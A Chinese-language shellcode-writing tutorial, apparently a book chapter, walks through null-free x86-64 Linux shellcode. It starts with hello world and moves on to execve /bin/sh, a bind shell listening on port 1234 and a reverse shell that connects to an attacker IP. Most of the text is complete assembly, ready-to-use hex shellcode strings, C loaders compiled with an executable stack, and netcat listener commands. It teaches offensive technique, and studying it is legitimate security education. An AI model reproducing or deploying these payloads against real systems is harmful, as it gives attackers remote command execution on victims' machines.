让我们准备好深入研究这个话题,我们将利用到目前为止学到的知识来创建简单的、完全定制的 shellcode。当我们面对坏字符并找到去除它们的方法时,这将变得更加有趣。接下来,我们将看到如何创建高级的 shellcode,并使用 Metasploit Framework 自动创建我们的 shellcode。
以下是本章将涵盖的主题:
-
基础知识和坏字符
-
相对地址技术
-
execve 系统调用
-
绑定 TCP shell
-
反向 TCP shell
-
使用 Metasploit 生成 shellcode
首先,让我们从 shellcode 是什么开始。正如我们之前已经看到的,shellcode 是一种可以作为有效载荷注入到堆栈溢出攻击中的机器码,可以从汇编语言中获得。
所以我们要做的很简单:将我们希望 shellcode 执行的操作以汇编形式写下来,然后进行一些修改,并将其转换为机器码。
让我们尝试制作一个 hello world 的 shellcode,并将可执行形式转换为机器码。我们需要使用objdump命令:
$ objdump -D -M intel hello-world
上述命令的输出如下截图所示:
你看到红色矩形框里面的是什么?这是我们 hello world 示例的机器码。但是我们需要将它转换成这种形式:\xff\xff\xff\xff,其中ff代表操作码。你可以手动逐行进行转换,但这可能有点乏味。我们可以使用一行代码自动完成:
$ objdump -M intel -D FILE-NAME | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
让我们尝试用我们的代码:
$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
上述命令的输出如下截图所示:
这是我们的机器语言:
\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a
接下来,我们可以使用以下代码来测试我们的机器:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
让我们编译并运行它:
$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out
上述命令的输出如下截图所示:
你可以从上面的输出中看到,我们的 shellcode 没有起作用。原因是其中有坏字符。这让我们进入下一节,讨论如何去除它们。
坏字符是指可以破坏 shellcode 执行的字符,因为它们可能被解释为其他东西。
例如,考虑\x00,它表示零值,但它将被解释为空终止符,并用于终止一个字符串。现在,为了证明这一点,让我们再看一下之前的代码:
"\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a";
当我们尝试执行它时,我们得到一个错误,Shellcode Length: 14。如果你看第 15 个操作码,你会看到\x00,它被解释为空终止符。
以下是坏字符的列表:
-
00:这是零值或空终止符(\0) -
0A:这是换行符(\n) -
FF:这是换页符(\f) -
0D:这是回车符(\r)
现在,如何从我们的 shellcode 中删除这些坏字符呢?实际上,我们可以使用我们在汇编中已经知道的知识来删除它们,比如选择一个寄存器的哪一部分应该取决于移动数据的大小。例如,如果我想将一个小值(比如15)移动到 RAX,我们应该使用以下代码:
mov al, 15
或者,我们可以使用算术运算,例如将15移动到 RAX 寄存器:
xor rax, rax
add rax, 15
让我们逐条查看我们的机器码:
第一条指令是mov rax, 1,它包含0,因为我们试图将1字节(8 位)移动到 64 位寄存器。所以它会用零填充剩下的部分,我们可以使用mov al, 1来修复这个问题,这样我们就将1字节(8 位)移动到了 RAX 寄存器的 8 位部分;让我们确认一下:
global _start
section .text
_start:
mov al, 1
mov rdi, 1
mov rsi, hello_world
mov rdx, length
syscall
mov rax, 60
mov rdi, 1
syscall
section .data
hello_world: db 'hello world',0xa
length: equ $-hello_world
现在,运行以下命令:
$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world
上述命令的输出如下截图所示:
我们成功从第一条指令中删除了所有的坏字符。让我们尝试另一种方法,使用算术运算,比如加法或减法。
首先,我们需要使用xor指令清除寄存器,xor rdi, rdi。现在 RDI 寄存器包含零;我们将其值加1,add rdi, 1:
global _start
section .text
_start:
mov al, 1
xor rdi, rdi
add rdi, 1
mov rsi, hello_world
mov rdx, length
syscall
mov rax, 60
mov rdi, 1
syscall
section .data
hello_world: db 'hello world',0xa
length: equ $-hello_world
现在运行以下命令:
$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world
上一个命令的输出显示在以下截图中:
我们也修复了这个。让我们修复所有这些,把移动hello world字符串留到下一节:
global _start
section .text
_start:
mov al, 1
xor rdi, rdi
add rdi, 1
mov rsi, hello_world
xor rdx,rdx
add rdx,12
syscall
xor rax,rax
add rax,60
xor rdi,rdi
syscall
section .data
hello_world: db 'hello world',0xa
现在运行以下命令:
$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world
上一个命令的输出显示在以下截图中:
我们设法从我们的 shellcode 中删除了所有的坏字符,这让我们需要处理在复制字符串时的地址。
相对地址是相对于 RIP 寄存器的当前位置,相对值是一种非常好的技术,可以避免在汇编中使用硬编码地址。
我们怎么做到的?实际上,通过使用lea <destination>, [rel <source>],这个rel指令将计算相对于 RIP 寄存器的源地址,这样做变得非常简单。
我们需要在代码本身之前定义我们的变量,这样就必须在 RIP 当前位置之前定义它;否则,它将是一个短值,寄存器的其余部分将填充为零,就像这样:
现在,让我们使用这种技术修改我们的 shellcode 来修复hello world字符串的位置:
global _start
section .text
_start:
jmp code
hello_world: db 'hello world',0xa
code:
mov al, 1
xor rdi, rdi
add rdi, 1
lea rsi, [rel hello_world]
xor rdx,rdx
add rdx,12
syscall
xor rax,rax
add rax,60
xor rdi,rdi
syscall
现在运行以下命令:
$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world
上一个命令的输出显示在以下截图中:
一点坏字符都没有!让我们尝试它作为一个 shellcode:
$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
上一个命令的输出显示在以下截图中:
现在让我们尝试使用我们的 C 代码编译并运行这个 shellcode:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\xeb\x0c\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a\xb0\x01\x48\x31\xff\x48\x83\xc7\x01\x48\x8d\x35\xe4\xff\xff\xff\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
现在运行以下命令:
$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out
上一个命令的输出显示在以下截图中:
成功了!现在,这是我们的第一个 shellcode。
让我们继续看看如何处理地址的更多技巧。
现在,我们将讨论如何处理字符串地址的新技术,即jmp-call技术。
这种技术简单地首先使jmp指令到我们想要移动到特定寄存器的字符串。之后,我们使用call指令调用实际的代码,将字符串的地址推入堆栈,然后我们将地址弹出到那个寄存器中。看看下一个例子,完全理解这种技术:
global _start
section .text
_start:
jmp string
code:
pop rsi
mov al, 1
xor rdi, rdi
add rdi, 1
xor rdx,rdx
add rdx,12
syscall
xor rax,rax
add rax,60
xor rdi,rdi
syscall
string:
call code
hello_world: db 'hello world',0xa
现在运行以下命令:
$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world
上一个命令的输出显示在以下截图中:
没有坏字符;现在让我们回顾一下我们做了什么。首先,我们执行了一个jmp指令到字符串,然后我们使用call指令调用了实际的代码,这将导致下一条指令被推入堆栈;让我们在 GDB 中看看这段代码:
$ gdb ./hello-world
$ set disassembly-flavor intel
$ break _start
$ run
$ stepi
上一个命令的输出显示在以下截图中:
下一条指令是使用call code指令调用代码。注意堆栈中将会发生什么:
hello world字符串的地址被推入堆栈,下一条指令是pop rsi,它将hello world字符串的地址从堆栈移动到 RSI 寄存器。
让我们尝试将其作为一个 shellcode:
$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
上一个命令的输出显示在以下截图中:
在 C 代码中实现相同的操作:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\xeb\x1f\x5e\xb0\x01\x48\x31\xff\x48\x83\xc7\x01\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdc\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
让我们编译并运行它:
$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out
上一个命令的输出显示在以下截图中:
在这里,我们将学习另一种使用堆栈处理地址的技术。这很简单,但我们有两个障碍。首先,我们只允许一次将 4 个字节推入堆栈的操作——我们将使用寄存器来帮助我们。其次,我们必须以相反的顺序将字符串推入堆栈——我们将使用 Python 来为我们做这件事。
让我们尝试解决第二个障碍。使用 Python,我将定义string = 'hello world\n',然后我将反转我的字符串,并使用string[::-1].encode('hex')一行将其编码为hex。接下来,我们将得到我们的反向编码字符串:
完成!现在,让我们尝试解决第一个障碍:
global _start
section .text
_start:
xor rax, rax
add rax, 1
mov rdi, rax
push 0x0a646c72
mov rbx, 0x6f57206f6c6c6548
push rbx
mov rsi, rsp
xor rdx, rdx
add rdx, 12
syscall
xor rax, rax
add rax, 60
xor rdi, rdi
syscall
首先,我们将 8 个字节推入堆栈。我们可以将其余的内容分成 4 字节推入堆栈的每个操作,但我们也可以使用寄存器一次移动 8 个字节,然后将该寄存器的内容推入堆栈:
$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
上一个命令的输出显示在以下截图中:
让我们尝试将其用作 shellcode:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x48\x31\xc0\x48\x83\xc0\x01\x48\x89\xc7\x68\x72\x6c\x64\x0a\x48\xbb\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x53\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
现在运行以下命令:
$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out
上一个命令的输出显示在以下截图中:
这也很容易。
在下一节中,我们将讨论如何使用execve系统调用制作有用的 shellcode。
现在,我们将学习如何使用execve制作有用的 shellcode。在继续之前,我们必须了解execve系统调用是什么。它是一个用于执行程序或脚本的系统调用。让我们以使用 C 语言读取/etc/issue文件的execve的示例来说明。
首先,让我们看一下execve的要求:
$ man 2 execve
上一个命令的输出显示在以下截图中:
正如它所说,第一个参数是我们要执行的程序。
第二个参数argv是指向与我们要执行的程序相关的参数数组的指针。此外,argv应该包含程序的名称。
第三个参数是envp,其中包含我们想要传递给环境的任何参数,但我们可以将此参数设置为NULL。
现在,让我们构建 C 代码来执行cat /etc/issue命令:
#include <unistd.h>
int main()
{
char * const argv[] = {"cat","/etc/issue", NULL};
execve("/bin/cat", argv, NULL);
return 0;
}
让我们编译并运行它:
$ gcc execve.c
$ ./a.out
上一个命令的输出显示在以下截图中:
它给了我们/etc/issue文件的内容,即Kali GNU/Linux Rolling \n \l。
现在,让我们尝试使用execve系统调用在汇编中执行/bin/sh。在这里,我将使用堆栈技术;让我们一步一步地完成这段代码:
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
首先,我们需要在堆栈中使用NULL作为分隔符。然后,我们将堆栈指针移动到 RDX 寄存器,以获取我们的第三个参数:
xor rax, rax
push rax
mov rdx, rsp
然后,我们需要将我们的路径/bin/sh推入堆栈中,由于我们只有七个字节,而且我们不希望我们的代码中有任何零,让我们推入//bin/sh或/bin//sh。让我们反转这个字符串,并使用 Python 将其编码为hex:
string ='//bin/sh'
string[::-1].encode('hex')
上一个命令的输出显示在以下截图中:
现在我们的字符串准备好了,让我们使用任何寄存器将其推入堆栈,因为它包含 8 个字节:
mov rbx, 0x68732f6e69622f2f
push rbx
让我们将 RSP 移动到 RDI 寄存器,以获取我们的第一个参数:
mov rdi, rsp
现在,我们需要推入另一个NULL作为字符串分隔符,然后我们需要通过推入 RDI 内容(即我们字符串的地址)将一个指针推入堆栈。然后,我们将堆栈指针移动到 RDI 寄存器,以获取第二个参数:
push rax
push rdi
mov rsi,rsp
现在,所有我们的参数都准备好了;让我们获取execve系统调用号:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve
上一个命令的输出显示在以下截图中:
execve系统调用号是59:
add rax, 59
syscall
让我们把我们的代码放在一起:
global _start
section .text
_start:
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall
现在运行以下命令:
$ nasm -felf64 execve.nasm -o execve.o
$ ld execve.o -o execve $ ./execve
上一个命令的输出显示在以下截图中:
让我们将其转换为 shellcode:
$ objdump -M intel -D execve | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
上一个命令的输出显示在以下截图中:
我们将使用 C 代码来注入我们的 shellcode:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
现在运行以下命令:
$ gcc -fno-stack-protector -z execstack execve.c
$ ./a.out
上一个命令的输出显示在以下截图中:
现在,让我们进一步做一些真正有用的事情,即构建一个 TCP 绑定 shell。
TCP 绑定 shell 用于在一台机器(受害者)上设置服务器,并且该服务器正在等待来自另一台机器(攻击者)的连接,这允许另一台机器(攻击者)在服务器上执行命令。
首先,让我们看一下 C 语言中的绑定 shell,以了解它是如何工作的:
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
int main(void)
{
int clientfd, sockfd;
int port = 1234;
struct sockaddr_in mysockaddr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
mysockaddr.sin_family = AF_INET; //--> can be represented in
numeric as 2
mysockaddr.sin_port = htons(port);
mysockaddr.sin_addr.s_addr = INADDR_ANY;// --> can be represented
in numeric as 0 which means to bind to all interfaces
bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
listen(sockfd, 1);
clientfd = accept(sockfd, NULL, NULL);
dup2(clientfd, 0);
dup2(clientfd, 1);
dup2(clientfd, 2);
char * const argv[] = {"sh",NULL, NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
让我们把它分解成几部分来理解它是如何工作的:
sockfd = socket(AF_INET, SOCK_STREAM, 0);
首先,我们创建了一个套接字,它需要三个参数。第一个参数是定义协议族,即AF_INET,代表 IPv4,可以用2来表示。第二个参数是指定连接的类型,在这里,SOCK_STREAM代表 TCP,可以用1来表示。第三个参数是协议,设置为0,告诉操作系统选择最合适的协议来使用。现在让我们找到socket系统调用号:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep socket
上述命令的输出显示在以下截图中:
从获得的输出中,socket系统调用号是41。
让我们在汇编中创建第一部分:
xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall
输出值,即sockfd,将被存储在 RAX 寄存器中;让我们将其移到 RDI 寄存器中:
mov rdi, rax
现在到下一部分,即填充mysockaddr结构以作为bind函数的输入:
sockfd = socket(AF_INET, SOCK_STREAM, 0);
mysockaddr.sin_family = AF_INET;
mysockaddr.sin_port = htons(port);
mysockaddr.sin_addr.s_addr = INADDR_ANY;
我们需要以指针的形式;而且,我们必须以相反的顺序推送到堆栈。
首先,我们推送0来表示绑定到所有接口(4 字节)。
其次,我们以htons形式推送端口(2 字节)。要将我们的端口转换为htons,我们可以使用 Python:
这是我们的端口(1234)以htons形式(0xd204)。
第三,我们推送值2,表示AF_INET(2 字节):
xor rax, rax
push rax
push word 0xd204
push word 0x02
有了我们的结构设置,让我们准备bind函数:
bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
bind函数需要三个参数。第一个是sockfd,已经存储在 RDI 寄存器中;第二个是我们的结构以引用的形式;第三个是我们结构的长度,即16。现在剩下的是获取bind系统调用号:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep bind
上述命令的输出显示在以下截图中:
从上述截图中,我们可以看到bind系统调用号是49;让我们创建bind系统调用:
mov rsi, rsp
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 49
syscall
现在,让我们设置listen函数,它需要两个参数:
listen(sockfd, 1);
第一个参数是sockfd,我们已经将其存储在 RDI 寄存器中。第二个参数是一个数字,表示服务器可以接受的最大连接数,在这里,它只允许一个。
现在,让我们获取listen系统调用号:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep listen
上述命令的输出显示在以下截图中:
现在,让我们构建bind系统调用:
xor rax, rax
add rax, 50
xor rsi , rsi
inc rsi
syscall
我们将继续下一个函数,即accept:
clientfd = accept(sockfd, NULL, NULL);
accept函数需要三个参数。第一个是sockfd,同样,它已经存储在 RDI 寄存器中;我们可以将第二个和第三个参数设置为零。让我们获取accept系统调用号:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep accept
上述命令的输出显示在以下截图中:
xor rax , rax
add rax, 43
xor rsi, rsi
xor rdx, rdx
syscall
accept函数的输出,即clientfd,将被存储在 RAX 寄存器中,所以让我们把它移到一个更安全的地方:
mov rbx, rax
执行dup2系统调用:
dup2(clientfd, 0);
dup2(clientfd, 1);
dup2(clientfd, 2);
现在,我们将执行它三次,将我们的文件描述符复制到stdin,stdout和stderr,分别为(0,1,1)。
dup2系统调用需要两个参数。第一个参数是旧文件描述符,在我们的情况下是clientfd。第二个参数是我们的新文件描述符(0,1,2)。现在,让我们获取dup2系统调用号:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep dup2
上述命令的输出显示在以下截图中:
现在,让我们构建dup2系统调用:
mov rdi, rbx
xor rax,rax
add rax, 33
xor rsi, rsi
syscall
xor rax,rax
add rax, 33
inc rsi
syscall
xor rax,rax
add rax, 33
inc rsi
syscall
然后,我们添加我们的execve系统调用:
char * const argv[] = {"sh",NULL, NULL};
execve("/bin/sh", argv, NULL);
return 0;
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall
现在,一切都准备就绪;让我们把所有的部分放在一起写成一段代码:
global _start
section .text
_start:
;Socket syscall
xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall
; Save the sockfd in RDI Register
mov rdi, rax
;Creating the structure
xor rax, rax
push rax
push word 0xd204
push word 0x02
;Bind syscall
mov rsi, rsp
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 49
syscall
;Listen syscall
xor rax, rax
add rax, 50
xor rsi , rsi
inc rsi
syscall
;Accept syscall
xor rax , rax
add rax, 43
xor rsi, rsi
xor rdx, rdx
syscall
;Store clientfd in RBX register
mov rbx, rax
;Dup2 syscall to stdin
mov rdi, rbx
xor rax,rax
add rax, 33
xor rsi, rsi
syscall
;Dup2 syscall to stdout
xor rax,rax
add rax, 33
inc rsi
syscall
;Dup2 syscall to stderr
xor rax,rax
add rax, 33
inc rsi
syscall
;Execve syscall with /bin/sh
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall
让我们汇编和链接它:
$ nasm -felf64 bind-shell.nasm -o bind-shell.o
$ ld bind-shell.o -o bind-shell
让我们将其转换为 shellcode:
$ objdump -M intel -D bind-shell | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
上述命令的输出显示在以下截图中:
让我们将其注入到我们的 C 代码中:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\xff\xc6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x66\x68\x04\xd2\x66\x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x83\xc0\x32\x48\x31\xf6\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x2b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc3\x48\x89\xdf\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
让我们编译并运行它:
$ gcc -fno-stack-protector -z execstack bind-shell.c
$ ./a.out
前面命令的输出显示在以下截图中:
现在我们的 shellcode 已经在工作并等待;让我们确认一下:
$ netstat -ntlp
前面命令的输出显示在以下截图中:
它现在在端口 1234 上监听;现在,从另一个终端窗口,启动 nc:
$ nc localhost 1234
前面命令的输出显示在以下截图中:
现在,它已连接并等待我们的命令;让我们试试:
$ cat /etc/issue
前面命令的输出显示在以下截图中:
现在我们有了我们的第一个真正的 shellcode!
在本节中,我们将创建另一个有用的 shellcode,即反向 TCP shell。反向 TCP shell 是绑定 TCP 的相反,因为受害者的机器再次建立与攻击者的连接。
首先,在 C 代码中让我们看一下它:
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void)
{
int sockfd;
int port = 1234;
struct sockaddr_in mysockaddr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
mysockaddr.sin_family = AF_INET;
mysockaddr.sin_port = htons(port);
mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1");
connect(sockfd, (struct sockaddr *) &mysockaddr,
sizeof(mysockaddr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
首先,我们将在我们的受害者机器之一(Ubuntu)上编译并执行它。我们将在攻击机器(Kali)上设置一个监听器,然后 shell 将从 Ubuntu 连接回 Kali,通过在代码中添加 Kali 的 IP。
在 Kali 上使用 nc 命令或 netcat 工具设置一个监听器:
$ nc -lp 1234
在 Ubuntu 上,让我们编译并运行我们的 reverse-tcp shellcode:
$ gcc reverse-tcp.c -o reverse-tcp
$ ./reverse-tcp
再次回到我的 Kali —— 我连接上了!
这就是简单的!
现在,让我们在汇编中构建一个反向 TCP shell,然后将其转换为一个 shellcode。
socket 函数与我们在绑定 TCP 中解释的一样。将 socket 的输出移动到 RDI 寄存器中:
xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall
mov rdi, rax
接下来是填充 mysockaddr 结构,除了我们必须以 32 位打包格式推出攻击者的 IP 地址。我们将使用 Python 来做到这一点:
所以我们的 IP 地址以 32 位打包格式是 01eea8c0。
让我们构建我们的结构并将栈指针移动到 RSI:
xor rax, rax
push dword 0x01eea8c0
push word 0xd204
push word 0x02
mov rsi, rsp
现在,让我们构建 connect 函数:
connect(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
然后,运行以下命令:
$ man 2 connect
前面命令的输出显示在以下截图中:
connect 函数也接受三个参数。第一个参数是 sockfd(来自 socket 函数的输出),存储在 RDI 寄存器中。第二个是我们结构的引用,存储在 RSI 寄存器中。第三个参数是我们结构的大小。
让我们获取 connect 系统调用号:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep connect
前面命令的输出显示在以下截图中:
从获得的输出中,我们可以看到系统调用号是 42。现在,让我们构建 connect 系统调用:
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 42
syscall
现在,dup2 函数与之前的相同,只是第一个参数将是 sockfd,它已经存储在 RDI 寄存器中;让我们也构建它:
xor rax,rax
add rax, 33
xor rsi, rsi
syscall
xor rax,rax
add rax, 33
inc rsi
syscall
xor rax,rax
add rax, 33
inc rsi
syscall
现在是最后一部分,即 /bin/sh 的 execve 系统调用:
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall
现在,让我们把它们打包在一起:
global _start
section .text
_start:
;Socket syscall
xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall
; Save the sockfd in RDI Register
mov rdi, rax
;Creating the structure
xor rax, rax
push dword 0x01eea8c0
push word 0xd204
push word 0x02
;Move stack pointer to RSI
mov rsi, rsp
;Connect syscall
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 42
syscall
;Dup2 syscall to stdin
xor rax,rax
add rax, 33
xor rsi, rsi
syscall
;Dup2 syscall to stdout
xor rax,rax
add rax, 33
inc rsi
syscall
;Dup2 syscall to stderr
xor rax,rax
add rax, 33
inc rsi
syscall
;Execve syscall with /bin/sh
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall
让我们将其汇编和链接到我们的受害者机器上:
$ nasm -felf64 reverse-tcp.nasm -o reverse-tcp.o
$ ld reverse-tcp.o -o reverse-tcp
然后,在我们的攻击者机器上运行以下命令:
$ nc -lp 1234
然后,再回到我们的受害者机器并运行我们的代码:
$ ./reverse-tcp
然后,在我们的攻击者机器上,我们连接到了受害者机器(Ubuntu):
现在,让我们将其转换为一个 shellcode:
$ objdump -M intel -D reverse-tcp | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
前面命令的输出显示在以下截图中:
让我们将这个机器语言复制到我们的 C 代码中:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\xff\xc6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x68\xc0\xa8\xee\x01\x66\x68\x04\xd2\x66\x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0\x48\x83\xc0\x2a\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
让我们在我们的受害者机器上编译它:
$ gcc -fno-stack-protector -z execstack reverse-tcp-shellcode.c -o reverse-tcp-shellcode
然后,在我们的攻击者机器上设置一个监听器:
$ nc -lp 1234
